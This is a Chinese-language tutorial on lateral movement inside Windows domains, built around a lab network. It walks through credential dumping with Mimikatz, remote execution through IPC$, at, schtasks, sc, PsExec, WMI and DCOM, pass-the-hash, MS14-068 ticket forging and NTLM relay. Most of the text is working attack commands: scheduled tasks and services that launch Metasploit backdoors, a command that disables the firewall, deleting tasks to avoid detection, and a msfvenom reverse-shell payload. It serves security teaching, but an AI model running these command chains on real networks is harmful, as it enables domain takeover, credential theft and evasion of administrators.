横向移动
在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。
在这篇文章中,我们来讲解一下横向移动的思路与攻击手法。
由于最近开学了有很多很多的事,所以一直没有时间更新,文章可能略显仓促,不足之处还请多多指教。
本文大多是我最近的学习总结,专为想我一样正在入门的小白准备,文章内容基础且丰富,对于下面所讲的每种攻击手法的具体详情,还请阅读我的相关文章。大佬路过还望多多点评!
在接下来的前几个实验中,我们以下面这个内网环境作为测试环境:
Windows 7为跳板机
- 用户名:
douser
密码:
Dotest123
Windows server 2008为域控(主机名:WIN-ENS2VR5TR3N)
- 用户名:
administrator - 密码:
Liu78963
攻击者已经获得了Windows7的权限,想要以Windows7作为跳板机进一步渗透内网的Windows server 2008,并且攻击者已经在跳板机上面通过socks代理等技术使自己可以访问到内网的Windows server 2008。接下来,攻击者将以各种横向移动的方法尝试获得内网Windows server 2008的控制权。
获取域内单机密码与Hash
在内网渗透中,很多横向移动的方法都需要攻击者先获取域用户的密码或者Hash值才能进行,比如哈希传递攻击、各种票据传递,还有黄金票据维持权限等等。
PwDump7工具
Pwdump7可以在CMD下提取出系统中的用户的密码hash (包括LM和NTLM),需要系统权限,“骨灰”级黑客玩家可能听说过这个玩具。通过Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密码,对进一步渗透是有很大帮助的。
Mimikatz工具
Mimikatz是由法国人Benjamin开发的一款功能强大的轻量级调试工具,因功能强大,能够直接读取Windows操作系统的明文密码,因而闻名于渗透测试领域。通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码。
Mimikatz读取明文密码和hash也时最常用的方法。需要管理员权限。
privilege::debug // 提升至debug权限
sekurlsa::logonpasswords // 抓取密码
此部分的更多详情请看我的文章《内网横向移动研究:获取域内单机密码与Hash》
利用Windows远程连接命令进行横向渗透
在渗透测试中,拿到目标机器的用户明文密码或者NTLM Hash后,可以用Windows自带的方法对远程目标系统进行命令行下的连接操作,连接远程主机并执行相关命令。也可以通过PTH的方法,将散列值或明文密码传递到目标机器中进行验证。
建立IPC连接
IPC$(Internet Process Connection) 是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
通过执行以下命令,我们可以让win7与DC建立IPC连接
net use \\
\ipc$
"password" /
user:
"username"net
use \\
192.168
.183
.130\ipc$
"Liu78963" /
user:
"administrator"net
use // 查看当前主机所建立的连接
的ip>
如上图,我们成功让win7与DC建立IPC连接,之后我们便可以通过win7访问目标机器DC中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令了。
如,我们列出DC上C盘的目录:
dir \\192.168.183.130\c$
再如将文件复制到目标主机DC的C盘上面去:(在实战中,我们可以将木马程序复制到目标主机上去)
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$
在使用net use命令与远程主机建立ipc$连接后,还可以使用tasklist命令的/S、/U、/P参数列出目标远程主机上运行的进程(可能有点慢)
- /s:指要查看的远程系统的IP地址
- /u:指定使用哪个用户执行这个远程命令
- /p:指定该用户的密码
tasklist /S 192.168.183.130 /U administrator /P liu78963
建立 ipc$ 连接的条件:
- 目标主机开启了139和445端口
- 目标主机管理员开启了ipc$默认共享
在使用完ipc$,命令如下:
net use \\IP /del /y
建立其他共享连接
除了IPC链接,我们还可以与目标主机的其他共享建立连接,比如建立c$盘共享连接:
net use \\192.168.183.130\c$ "Liu78963" /user:"administrator"
列出DC上C盘的目录:
但一般情况下,我们会建立IPC连接,因为利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
利用Windows计划任务进行横向渗透
利用 at 命令
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。操作如下:
1. 先与目标主机建立ipc连接。
2. 再使用net time命令确定目标主机DC的当前时间:
net time \\192.168.183.130
3. 然后使用copy命令远程操作,将metasploit生成的payload文件复制到目标系统C盘中:
copy shell.exe \\192.168.183.130\c$
4. 接着使用at命令创建计划任务,让目标主机DC在指定的时间运行metasploit木马程序:
at \\192.168.183.130 18:53:00 c:\shell.exe
如上图,成功在目标主机上创建了一个ID为1,在18:53:00执行shell.exe程序的计划任务
等到时间到达18:53:00时,目标主机上的木马程序shell.exe执行,攻击者主机上面的msfconsole上成功获得目标主机的meterpreter:
5. 最后,我们使用完计划任务后,还需要将该计划任务删除,以免被网管理员发现:
at \\192.168.183.130 1 /delete
// 1为计划任务的ID
除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用at计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后远程读取:
at \\192.168.183.130 17:05:00 cmd.exe /c "ipconfig > C:\Users\Administrator\result.txt"at \\192.168.183.130 17:05:00 cmd.exe /c "<命令>" > 目录\result.txt
然后用type命令远程读取该文本文件:
type \\192.168.183.130\c$\Users\Administrator\result.txt
如上图所示,命令执行成功。
利用 schtasks 命令
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。
利用schtasks命令创建计划任务进行横向移动的操作流程如下:
1. 先与目标主机建立ipc连接。
2. 然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。
3. 在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。命令如下:
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
在没有建立ipc连接时,要加上/u和/p参数分别设置用户名和密码。
但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:
遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:
schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
这样就行了:
4. 然后执行如下命令立即运行该计划任务(也可以自己等一分钟):
schtasks /run /s 192.168.183.130 /i /tn backdoor
// i:忽略任何限制立即运行任务schtasks /run /s 192.168.183.130 /i /tn backdoor /u administrator /p Liu78963 // 遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码
计划任务成功执行后,攻击者msfconsole上面即可得到目标主机DC的meterpreter:
5. 计划任务成功运行后,执行如下命令强制删除该计划任务:
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取:
schtasks /create /s 192.168.183.130 /tn test /sc minute /mo 1 /tr "C:\Windows\System32\cmd.exe /c 'whoami > C:\Users\Administrator\result.txt'" /ru system /f
立即启动该计划任务:
schtasks /run /s 192.168.183.130 /i /tn test
最后利用type命令远程查看目标主机上的result.txt文件即可,如下图所示,命令执行成功:
注意:在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。
创建Windows服务来进行横向渗透
使用条件:
- 当前跳板机用户具有管理员权限(因为要创建服务)。
- 与目标机器已经建立ipc连接
利用 sc 命令
在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透
使用sc命令远程Windows服务操作需先建立IPC$连接,否则在执行时会返回拒绝访问。流程基本如下:
1. 先让跳板机与内网目标机DC建立ipc连接。
2. 然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件bind.exe复制到目标主机DC系统C盘中。
3. 再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
注意这里的格式,“=”后面是必须空一格的,否则会出现错误。
4. 立即启动该服务:
sc \\WIN-ENS2VR5TR3N start bindshell
执行后,msf成功上线域控:
5. 使用完后删除刚才创建的服务
sc \\[host] delete [servicename] #删除服务
我们还可以通过设置服务来关闭防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
利用PsExec工具进行横向渗透
测试环境如下:
如图中,右侧是一个内网环境,域名为god.org,有三台机器:Windows 7(跳板机)、Windows Server 2008(DC)、Windows Server 2003。
Windows Server 2008(192.168.52.138)为域控制器(机器名为OWA),用户名为liukaifeng01,密码为Liufupeng123。假设我们攻击者已经获得了Windows 7(跳板机)域成员主机的控制权,需要进一步横向渗透去拿下内网的其他机器域控。
利用PsExec.exe工具
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
PsExec的基本原理:
- 1. 通过ipc$连接,释放二进制文件psexecsvc.exe到目标
- 2. 通过服务管理SCManager远程创建一个psexec服务,并启动服务
- 3. 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
- 4. 运行结束后删除服务
psexec的使用前提:
- 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
- 对方未开启防火墙
- 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
- 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
基本操作命令如下:
PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -s cmd.exe
- -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
- -u:用户名
- -p:密码
- -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
执行如上命令后,我们就可以获的目标主机DC的System权限的Shell:
这里,如果我们提前与目标机建立了基于administrator用户的ipc连接,那么我们可以不用指定用户名和密码,直接连接即可:
PsExec.exe -accepteula \\192.168.183.130 cmd.exe
我们不仅可以用PsExec得到目标主机的shell,也可以直接执行命令:
PsExec.exe \\192.168.183.130 <Command>PsExec.exe \\192.168.183.130 cmd.exe /c "ipconfig"PsExec.exe \\192.168.183.130 -u demo\administrator -p Liu78963 cmd.exe /c "ipconfig"// 用目标系统的cmd.exe的/c选项在目标主机上执行命令,并得到回显(与前面的at命令相似)
Metasploit下的PsExec模块
在metasploit框架下,有以下这几个psexec模块:
常用的模块有:
exploit/windows/smb/psexec // 用psexec执行系统命令,与psexec.exe相同exploit/windows/smb/psexec_psh // 使用powershell作为payload(PsExec的PowerShell版本)auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令exploit/windows/smb/ms17_010_psexec
使用exploit/windows/smb/psexec_psh,该模块生成的payload主要是有powershell实现的。powershell作为Windows自带的脚本运行环境,免杀效果比由exploit/windows/smb/psexec生成的exe版payload好。但是,因为Windows 7、Windows Server 2008及以上版本的操作系统才默认有powershell,所以如果遇到默认不含powershell的Windows XP或Windows Server 2003,就要使用由exploit/windows/smb/psexec生成的exe版本的payload。
下面演示exploit/windows/smb/psexec模块的使用过程:
set rhosts 192.168.52.138set SMBDomain god
set SMBUser Liukaifeng01
set SMBPass Liufupeng123 // 设置明文密码或设置哈希来进行PTHrun
其他的那几个模块的使用方法与exploit/windows/smb/psexec相同。这些模块不仅可以指定用户明文密码,还可以直接指定哈希值来进行哈希传递攻击。
注意:在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将会被自动删除。由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。
利用WMI来横向渗透
WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
“自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。因为在这个过程中不会产生日志,所以,对网络管理员来说增加了攻击溯源的成本。而对攻击者来说,其恶意行为被发现的可能性有所降低、隐蔽性有所提高。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。”
注意:使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)
远程桌面连接
用WMIC命令可以开启远程计算机的远程桌面连接:
wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
查询远程进程信息
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief
远程创建进程
如下,以administrator用户连接192.168.183.130(DC),并在机器上创建一个进程执行ipconfig命令,将结果写入C:\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中)
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe"
// /node:指定将对其进行操作的服务器
这里如果我预先与目标主机建立了ipc$连接,所以就不需要在wmic指定/user和/password了。
然后,由于wmic执行远程命令没有回显,所以在建立ipc$连接后,使用type命令远程读取192.168.52.138上的执行结果:
type \\192.168.52.138\c$\result.txt
如上图所示,命令执行成功了。
使用WMIC远程执行命令,在远程系统中启动WMIC服务(目标服务器需要开放其默认135端口,WMIC会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,WMIC将无法连接。另外由于wmic命令没有回显,需要使用IPC$和type命令来读取信息。需要注意的是,如果WMIC执行的是恶意程序,也不会留下日志。下面我们介绍一下几个可以用来执行wmi远程命令的工具。
WMIEXEC
wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。比较好用的在这里介绍几种。wmiexec需要提供账号密码进行远程连接,但是如果没有破解出账号和明文密码,也可以配合哈希传递或票据注入功能一起使用,先进行传递或注入,然后再使用WMIEXEC即可。
Impacket中的wmiexec.py
该脚本是impacket工具包中的一个工具,主要在从Linux像Windows进行横向渗透时使用,十分强大,可以走socks代理进入内网。
下载地址:
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
使用很简单,运行如下命令获取目标系统DC(192.168.183.130)的Shell:
python wmiexec.py administrator:Liu78963@192.168.183.130
// python wmiexec.py 用户名:密码@目标IP
如上图所示,成功获取到了目标系统DC(192.168.183.130)的Shell。如果对wmiexec.py指定-hashes选项的话,则可进行哈希传递。
该脚本十分强大,还可以让攻击机走socks代理直接进入内网,还是上面那个测试环境:
由于攻击机无法直接访问内网的Windows server 2008,所以只能通过在Windows7上面架设一个socks代理服务器,通过这个socks代理进入内网,从而控制Windows server 2008。
先使用earthworm在Windows7上面架设一个socks代理服务器:
ew_for_Win.exe -s ssocksd -l 1080
然后攻击机在本地配置好proxychains:
这样我们就可以通过proxychains来使用这个socks代理服务器(192.168.1.106)的代理了可。
接下来,我们只需在需要执行的命令前面加上proxychains4即可让命令走socks代理了,运行如下命令即可获取内网目标系统DC(192.168.183.130)的Shell:
proxychains4 python wmiexec.py administrator:Liu78963@192.168.183.130
// python wmiexec.py 用户名:密码@目标IP
EXE版本的wmiexec
wmiexec.exe与wmiexec.py是一样的,主要用在Windows上,命令与wmiexec.py一模一样。在跳板机上上传wmiexec.exe并运行如下命令获取目标系统192.168.52.138的shell:
wmiexec.exe administrator:Liu78963@192.168.183.130
除此之外,还可以利用PowerShell脚本来执行wmi命令,但这只适用于Windows Server 2008 和 Windows 7及以上默认内置powershell的版本。
此部分的更多详情请看我的文章:《内网横向移动:利用WMI来渗透》
利用DCOM在远程机器中执行命令
DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一些列概念和程序接口,COM提供了一套允许在同一台计算机上的客户端和服务器之间通信的接口。通过DCOM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。
下面通过一个实验来讲解如何使用DCOM在远程主机上面执行命令。在使用该方法的条件如下:
- 需要关闭目标系统的防火墙,如果目标主机DC没有关闭防火想的话会报错
- 在远程主机上执行命令时,必须使用具有本地管理员权限的账号。
测试环境如下:
如图中,右侧是一个内网环境,域名为god.org,有三台机器:Windows 7(跳板机)、Windows Server 2008(DC)、Windows Server 2003。
Windows Server 2008(192.168.52.138)为域控制器(机器名为OWA),假设我们攻击者已经获得了Windows 7(跳板机)域成员主机的控制权,需要进一步横向渗透去拿下内网的其他机器域控。
域成员服务器(Windows 7):
- IP地址:
192.168.52.143 - 用户名Aministrator
- 密码:
Liufupeng123
域控制器DC(Windows server 2008):
- IP地址:
192.168.52.138 - 用户名Liukaifeng01
- 密码:
Liufupeng123
1. 先让跳板机Windows 7通过ipc连接远程DC计算机
net use \192.168.52.138\ipc$ “Liufupeng123” /user:Liukaifeng01
2. 然后在Windows7跳板机上传metasploit木马程序shell.exe,并使用copy命令将shell.exe复制到DC的c盘上面去。
3. 然后对DC执行远程命令
(1)调用MMC20.Application远程执行命令
建立ipc连接并上传木马后,在Windows7的powershell中输入如下命令,在远程系统中运行metasploit木马程序shell.exe:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,”192.168.52.138”))
// 通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例。
// 然后执行如下命令,我们就可以调用”ExecuteShellCommand”方法在远程主机上启动进程
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:\shell.exe","Minimized")
执行后,我们可以看到攻击者msfconsole成功传来了DC的meterpreter,并且权限为administrator:
(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
建立ipc连接并上传木马后,在Windows7的powershell中输入如下命令,在远程系统中运行metasploit木马程序shell.exe:
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)
执行后,我们可以看到攻击者msfconsole成功传来了DC的meterpreter:
这两种方法远程执行命令的方法均适用于Windows 7~Windows 10、Windows Server 2008~Windows Server 2016。
此部分的更多详情可以看大佬的文章:
https://blog.csdn.net/qq_36119192/article/details/104148658
https://www.secshi.com/21666.html
https://cloud.tencent.com/developer/article/1171111
哈希传递攻击
使用Mimikatz进行PTH
接下来,我们来讲解横向渗透中的哈希传递攻击,这一部分在内网渗透中是十分关键的。
在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。
Pass The Hash 哈希传递攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在Windows系统中,通常会使用NTLM Hash对访问资源的用户进行身份认证,所以该攻击可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录目标主机或反弹shell。
下面演示哈希传递攻击的方法(需要管理员权限):
如图中,右侧是一个内网环境,域名为god,有三台机器:Windows 7(跳板机)、Windows Server 2008、Windows Server 2003。
Windows Server 2008(192.168.52.138)为域控制器(机器名为OWA),假设我们攻击者已经获得了Windows 7(跳板机)域成员主机的控制权,需要进一步横向渗透去拿下Windows Server 2003和域控。
首先,攻击者在Windows 7上面上传mimikatz,并用mimikatz抓取Hash:
privilege::debug
sekurlsa::logonpasswords
如上图,成功抓取到域管理员的NTLM Hash:4d6e43b2cdc951808100f5b1d09aac63
然后,在Windows 7上用mimikatz将获取的Administrator的Hash添加进lsass中:
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63
成功,此时会自动弹出一个新的shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器OWA的c盘目录(要使用主机名,不能用IP,否则报错):
之后,攻击者便可以利用Windows7跳板机任意访问内网其他机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
使用Metasploit进行PTH
在metasploit中,经常使用的模块有:
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令 exploit/windows/smb/psexec // 用psexec执行系统命令 exploit/windows/smb/psexec_psh // 使用powershell作为payload
以exploit/windows/smb/psexec模块哈希传递攻击Windows Server 2003为例(设置smbuser、smbpass、smbdomain)
use exploit/windows/smb/psexecset rhosts 192.168.52.141set smbuser administratorset smbpass 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 # 完整的Administrator用户的Hashset smbdomain godrun
如上图,攻击成功,得到Windows Server 2003的shell。注意这里的smbpass选项,其可以为明文密码,也可以为Hash,但Hash必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代替。
利用wmiexec.py进行PTH
下载地址:https://github.com/SecureAuthCorp/impacket
这是impacket工具包里面的脚本我们在之前已经说过了,其还可以指定-hashes选项来进行PTH,十分强大并可以走socks代理。
使用如下:
(proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@192.168.52.138 “命令” python wmiexec.py -hashes 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 god/administrator@192.168.52.138 “whoami”
此部分的更多详情请看我的文章:《内网横向移动:Kerberos认证与(哈希)票据传递攻击》
票据传递攻击
上面我们所讲的PTH是基于NTLM认证的,接下来我们要讲的PTT是基于Kerberos协议进行攻击的,Kerberos协议的讲解可以看这篇文章:https://www.jianshu.com/p/13758c310242
我们在渗透测试中,要使用哈希传递攻击,则必须要获取目标机器的管理员权限。如果没有管理员权限,我们不妨用用票据传递攻击(PTT)。
在票据传递攻击(PTT)中,我们常用的有MS14-068、黄金票据、白银票据。其中MS14-068可用来横向获取域内主机权限,黄金票据、白银票据则可以用来对域控进行权限维持。这里我们主要讲解MS14-068,至于黄金票据、白银票据我们将在未来的域内权限维持中讲解。
MS14-068
在讲解MS08-068之前,我们要先了解PAC这个东西,PAC是用来验证Client的访问权限的,它会被放在TGT里发送给Client,然后由Client发送给TGS。
Windows域中使用kerberos协议过程中,为了让服务器判断Client是否有权限访问服务,微软在Windows平台上对Kerberos协议进行了一些扩充,即在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书,也就是这个PAC造成了MS14-068这个漏洞。
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意的PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限。
了解了漏洞原理后,我们来演示漏洞的利用方法。需要的条件如下:
- 域内任意用户SID
- 域内任意用户密码
还需要MS14-068工具,下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
下面我们以上图的实验环境来复现PTT攻击的具体操作。右侧为目标内网,域名为demo,Windows 7为普通用户douser,密码为Dotest123,;DC为域管理员administrator用户。假设我们已经用msf获得了Windows 7的控制权,并且已通过路由或代理进入目标内网,我们要利用PTT攻击来拿下DC。
首先,我们需要在目标主机Windows 7上面获得一个域用户douser的SID:
SID为:S-1-5-21-979886063-1111900045-1414766810-1107
然后再Windows 7上传工具ms14-068.exe,并执行如下命令生成TGT票据:
ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
如上图,成功生成名为TGT_douser@DEMO.com.ccache的票据文件,接下来要做的就是将该票据文件注入到Windows 7的内存中了:
在Windows 7上传mimikatz,利用mimikatz将票据注入到当前内存中,伪造凭证:
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
如上图,票据注入成功,此时,攻击者就可以利用Windows 7可任意访问域中所有机器,可以使用net use进行登录或者使用psexec,wmi等方法进行远程执行命令。如用net use登录域控(WIN-ENS2VR5TR3N):
net use \\WIN-ENS2VR5TR3N
如上图,成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个正向的msf马,并将该木马copy到域控上去执行:
copy c:\windows\system32\bind.exe \\WIN-ENS2VR5TR3N\c$
然后再Windows 7上通过sc远程对域控创建服务来启动木马:
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
执行后,攻击机上的msf成功上线域控:
成功拿下域控。
此部分的更多详情请看我的文章:《内网横向移动:Kerberos认证与(哈希)票据传递攻击》
利用NTLM Relay攻击
NTLM Relay攻击原理
在Windows中,NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。
在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。
Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。为了重放这个Net-NTLMhash,首先我们要做的就是获取这个Net-NTLMhash。获得Net-NTLM Relay的思路可以有以下几种:
- 利用LLMNR和NetBIOS欺骗获得Net-NTLMHash
Windows系统名称解析顺序为:
本地hosts文件(%windir%\System32\drivers\etc\hosts)
DNS缓存/DNS服务器
链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash。
- 利用WPAD劫持获得Net-NTLMHash
WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个代理配置文件(PAC)URL的方法。WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。
下面来借助一个小实验来讲解该攻击方法。
Impacket中的smbrelayx.py
攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。
开始实战,用 smbrelayx.py 脚本来完成任务,用-c
选项来在受害机192.168.52.143上面执行命令:
./smbrelayx.py -h <Client2 IP> -c Command
此时我们让Client1访问这个攻击者精心构造好的SMB服务器:
net use \\192.168.52.131
此时,攻击者的smbrelayx.py脚本上就会发现命令成功执行了:
在实战中,我们会提前生成了一个 Metasploit 的 payload 并放置在当前目录下,然后用-e
选项在目标主机上传并运行我们的payload
先生成一个metasploit木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.131 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe
并设置好msfconsole
中exploit/multi/handler
监听。
然后执行smbrelayx.py脚本:
随后在Windows server 2008上执行net use \\192.168.138.131\c$
来访问攻击者搭建的恶意smb服务:
此时攻击者的smbrelayx.py脚本上会有反应:
